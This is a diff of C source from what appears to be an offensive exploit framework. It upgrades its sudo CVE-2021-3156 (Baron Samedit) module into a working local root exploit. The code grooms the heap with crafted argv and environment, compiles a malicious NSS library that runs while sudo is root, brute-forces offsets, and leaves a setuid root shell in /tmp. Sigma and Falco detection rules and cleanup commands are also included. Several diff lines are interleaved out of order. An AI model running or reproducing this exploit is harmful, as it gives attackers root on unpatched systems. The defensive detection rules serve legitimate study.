snprintf(nssdir, sizeof nssdir, "%s/libnss_X", wd);
|
||||
snprintf(payload_c, sizeof payload_c, "%s/payload.c", wd);
|
||||
snprintf(nsslib, sizeof nsslib, "%s/libnss_X/P0P_SH3LLZ_ .so.2", wd);
|
||||
if (mkdir(nssdir, 0755) != 0 && errno != EEXIST) {
|
||||
perror("mkdir libnss_X");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
memset(buf, 'A', SUDO_SAMEDIT_PADLEN);
|
||||
buf[SUDO_SAMEDIT_PADLEN] = '\\';
|
||||
buf[SUDO_SAMEDIT_PADLEN + 1] = 0;
|
||||
padbufs[i] = buf;
|
||||
argv[i] = buf;
|
||||
}
|
||||
argv[SUDO_SAMEDIT_ARGC] = NULL;
|
||||
|
||||
/* Craft envp mirroring the original PoC: LC_... and TZ tricks
|
||||
* that landed the overlap on the canonical distro PoCs. These
|
||||
* are harmless if landing fails; their value is positioning the
|
||||
* heap so the overflow lands on a useful target. */
|
||||
char *envp[] = {
|
||||
(char *)"LC_ALL=C.UTF-8@",
|
||||
(char *)"TZ=:",
|
||||
(char *)"LC_CTYPE=C.UTF-8@",
|
||||
(char *)"SUDO_EDITOR=A",
|
||||
(char *)"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
|
||||
NULL,
|
||||
/* Write + compile the NSS payload. */
|
||||
int fd = open(payload_c, O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||
if (fd < 0) { perror("open payload.c"); return SKELETONKEY_TEST_ERROR; }
|
||||
(void)!write(fd, samedit_payload_src, sizeof samedit_payload_src - 1);
|
||||
close(fd);
|
||||
|
||||
char dP[320], dR[320];
|
||||
snprintf(dP, sizeof dP, "-DSK_PROOF=\"%s\"", samedit_proof);
|
||||
snprintf(dR, sizeof dR, "-DSK_ROOTBASH=\"%s\"", samedit_rootbash);
|
||||
char *cc_argv[] = {
|
||||
(char *)cc, (char *)"-fPIC", (char *)"-shared", (char *)"-O2", (char *)"-w",
|
||||
(char *)"-o", nsslib, payload_c, dP, dR, NULL,
|
||||
};
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sudo_samedit: forking trigger child (%s argv[0]=sudoedit)\n",
|
||||
sudoedit);
|
||||
}
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) {
|
||||
perror("fork");
|
||||
free(argv[2]);
|
||||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_samedit: building NSS payload with %s\n", cc);
|
||||
if (samedit_run(cc_argv, NULL, 60) != 0) {
|
||||
fprintf(stderr, "[-] sudo_samedit: payload compile failed\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (pid == 0) {
|
||||
/* Child: drive the trigger. If the bug lands and we get a
|
||||
* root context, the chain in the original PoC then re-execs
|
||||
* a shell. We don't ship that shell-spawn here — we just
|
||||
* exit nonzero so the parent's verifier can sample uid. */
|
||||
execve(sudoedit, argv, envp);
|
||||
/* execve failed (binary missing or kernel-blocked). */
|
||||
_exit(127);
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_samedit: driving sudoedit heap overflow "
|
||||
"(primary lengths %d/%d/%d/%d)\n",
|
||||
tgt->smash_a, tgt->smash_b, tgt->null_stomp, tgt->lc_all);
|
||||
|
||||
/* Primary attempt with the profile's exact lengths. */
|
||||
bool rooted = samedit_try(sudoedit, wd, tgt->smash_a, tgt->smash_b,
|
||||
tgt->null_stomp, tgt->lc_all, samedit_proof);
|
||||
|
||||
/* Fallback: sweep null_stomp_len around the profile value (libc drift),
|
||||
* exactly the axis blasty's brute.sh perturbs. Bounded + stops on root. */
|
||||
if (!rooted) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_samedit: primary miss — sweeping null_stomp_len "
|
||||
"%d..%d\n", tgt->null_stomp - 8, tgt->null_stomp + 8);
|
||||
for (int ns = tgt->null_stomp - 8; ns <= tgt->null_stomp + 8 && !rooted; ns++) {
|
||||
if (ns == tgt->null_stomp || ns < 1) continue;
|
||||
rooted = samedit_try(sudoedit, wd, tgt->smash_a, tgt->smash_b,
|
||||
ns, tgt->lc_all, samedit_proof);
|
||||
if (rooted && !ctx->json)
|
||||
fprintf(stderr, "[+] sudo_samedit: landed at null_stomp_len=%d\n", ns);
|
||||
}
|
||||
}
|
||||
|
||||
int status = 0;
|
||||
waitpid(pid, &status, 0);
|
||||
/* Best-effort scrub of the scratch build dir (keep proof + rootbash). */
|
||||
{ char rm[400]; snprintf(rm, sizeof rm, "rm -rf '%s' 2>/dev/null", wd);
|
||||
if (system(rm) != 0) { /* ignore */ } }
|
||||
|
||||
/* Verifier: even on the rare "no crash" path, we don't know if
|
||||
* the bug landed without spawning a privileged helper. Per the
|
||||
* verified-vs-claimed bar, only claim success if uid is 0 in a
|
||||
* post-trigger probe (which would require the chain to have
|
||||
* persisted a setuid artifact — it didn't). So: report honestly. */
|
||||
if (geteuid() == 0) {
|
||||
if (rooted) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] sudo_samedit: post-trigger geteuid()==0 — root!\n");
|
||||
fprintf(stderr, "[+] sudo_samedit: ROOT — root-owned proof %s\n", samedit_proof);
|
||||
fprintf(stderr, "[+] sudo_samedit: setuid-root shell available: %s -p\n",
|
||||
samedit_rootbash);
|
||||
}
|
||||
/* Leak the buffers; we're about to exec a shell anyway. */
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_samedit: child died on signal %d "
|
||||
"(likely sudo SIGSEGV from the overflow) — trigger fired\n"
|
||||
" but landing did not produce a root shell. Per-distro\n"
|
||||
" offset tuning required.\n",
|
||||
WTERMSIG(status));
|
||||
}
|
||||
} else if (WIFEXITED(status)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_samedit: child exited %d — trigger did not\n"
|
||||
" crash sudo; the host is most likely patched at the\n"
|
||||
" parser level even though the version string was in\n"
|
||||
" range. Reporting EXPLOIT_FAIL.\n",
|
||||
WEXITSTATUS(status));
|
||||
}
|
||||
}
|
||||
|
||||
/* Best-effort free. */
|
||||
free(argv[2]);
|
||||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] sudo_samedit: no root artifact after primary + sweep — "
|
||||
"honest EXPLOIT_FAIL. Host is likely backport-patched, or the "
|
||||
"libc heap layout needs lengths outside the swept range "
|
||||
"(see blasty brute.sh for a wider search).\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
@@ -413,15 +450,15 @@ static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *c
|
||||
|
||||
static skeletonkey_result_t sudo_samedit_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
/* sudoedit creates "~/.sudo_edit_*" temp files on the way through.
|
||||
* Best-effort unlink of any obvious crumbs left by our trigger. */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sudo_samedit: removing /tmp/skeletonkey-samedit-* crumbs\n");
|
||||
}
|
||||
if (system("rm -rf /tmp/skeletonkey-samedit-* /tmp/.sudo_edit_* 2>/dev/null") != 0) {
|
||||
/* harmless — likely no files matched */
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_samedit: removing artifacts + scratch dir\n");
|
||||
if (samedit_proof[0]) unlink(samedit_proof);
|
||||
if (samedit_rootbash[0]) unlink(samedit_rootbash);
|
||||
if (samedit_workdir[0]) {
|
||||
char rm[400]; snprintf(rm, sizeof rm, "rm -rf '%s' 2>/dev/null", samedit_workdir);
|
||||
if (system(rm) != 0) { /* ignore */ }
|
||||
}
|
||||
if (system("rm -rf /tmp/.sudo_edit_* 2>/dev/null") != 0) { /* ignore */ }
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
@@ -446,7 +483,8 @@ static const char sudo_samedit_sigma[] =
|
||||
" Detects sudoedit (or sudo invoked as sudoedit) executed with the\n"
|
||||
" -s flag and a command-line argument ending in a lone backslash —\n"
|
||||
" the canonical Qualys trigger for the heap overflow in\n"
|
||||
" plugins/sudoers/sudoers.c set_cmnd().\n"
|
||||
" plugins/sudoers/sudoers.c set_cmnd(). A libnss_X/ directory in the\n"
|
||||
" caller's CWD is a strong corroborating artifact.\n"
|
||||
"logsource:\n"
|
||||
" product: linux\n"
|
||||
" service: auditd\n"
|
||||
@@ -472,14 +510,12 @@ static const char sudo_samedit_sigma[] =
|
||||
" - attack.t1068\n"
|
||||
" - cve.2021.3156\n";
|
||||
|
||||
/* ---- Module registration ----------------------------------------- */
|
||||
|
||||
static const char sudo_samedit_falco[] =
|
||||
"- rule: sudoedit with -s and trailing-backslash argv (Baron Samedit)\n"
|
||||
" desc: |\n"
|
||||
" sudoedit invoked with -s and one or more args ending in '\\'.\n"
|
||||
" The parser's unescape loop walks past the argv string into\n"
|
||||
" adjacent stack/env, overflowing the heap buffer.\n"
|
||||
" adjacent env, overflowing the heap buffer.\n"
|
||||
" CVE-2021-3156. False positives: extraordinarily rare;\n"
|
||||
" legitimate sudoedit usage does not need trailing backslashes.\n"
|
||||
" condition: >\n"
|
||||
@@ -491,10 +527,12 @@ static const char sudo_samedit_falco[] =
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2021.3156]\n";
|
||||
|
||||
/* ---- Module registration ----------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module sudo_samedit_module = {
|
||||
.name = "sudo_samedit",
|
||||
.cve = "CVE-2021-3156",
|
||||
.summary = "sudo Baron Samedit heap overflow via sudoedit -s '\\\\' (Qualys)",
|
||||
.summary = "sudo Baron Samedit heap overflow via sudoedit -s → NSS libnss_X hijack → root (blasty)",
|
||||
.family = "sudo",
|
||||
.kernel_range = "userspace — sudo 1.8.2 ≤ V ≤ 1.9.5p1 (fixed in 1.9.5p2)",
|
||||
.detect = sudo_samedit_detect,
|
||||
@@ -505,7 +543,7 @@ const struct skeletonkey_module sudo_samedit_module = {
|
||||
.detect_sigma = sudo_samedit_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = sudo_samedit_falco,
|
||||
.opsec_notes = "Invokes sudoedit with argv = { 'sudoedit', '-s', trailing-backslash, then ~60 padding args each ending in backslash }; the parser's unescape loop in set_cmnd() walks past the end of the argv string for the trailing-backslash argument, copying adjacent stack/env into an undersized heap buffer. Audit-visible via execve(/usr/bin/sudoedit) with -s and a trailing-backslash argv. No persistent file artifacts (only best-effort removal of /tmp/.sudo_edit_*). No network. Dmesg silent unless sudo crashes (SIGSEGV). Per-distro heap layout determines landing; verifies geteuid()==0 afterward.",
|
||||
.opsec_notes = "Compiles a small NSS payload on the target (needs cc/gcc), then execs sudoedit with argv = { 'sudoedit','-s','AAAA…\\','\\','BBBB…\\' } and an env of N backslashes + 'X/P0P_SH3LLZ_' + a padded LC_ALL, from a CWD holding libnss_X/'P0P_SH3LLZ_ .so.2'. The set_cmnd() unescape overflow overwrites a glibc NSS service_user so the subsequent lookup dlopen's the payload, whose constructor runs while sudo is root. Very audit-visible: execve(sudoedit) with -s + trailing-backslash argv, an unusual all-backslash environ, and a libnss_X/ dir in CWD. Grooming lengths are libc-family specific; a miss sweeps null_stomp_len. Artifacts: root-owned proof + setuid bash under /tmp (removed by cleanup()); scratch build dir is scrubbed during the run. Misses may SIGSEGV sudo (dmesg).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
|
||||
Reference in New Issue
Block a user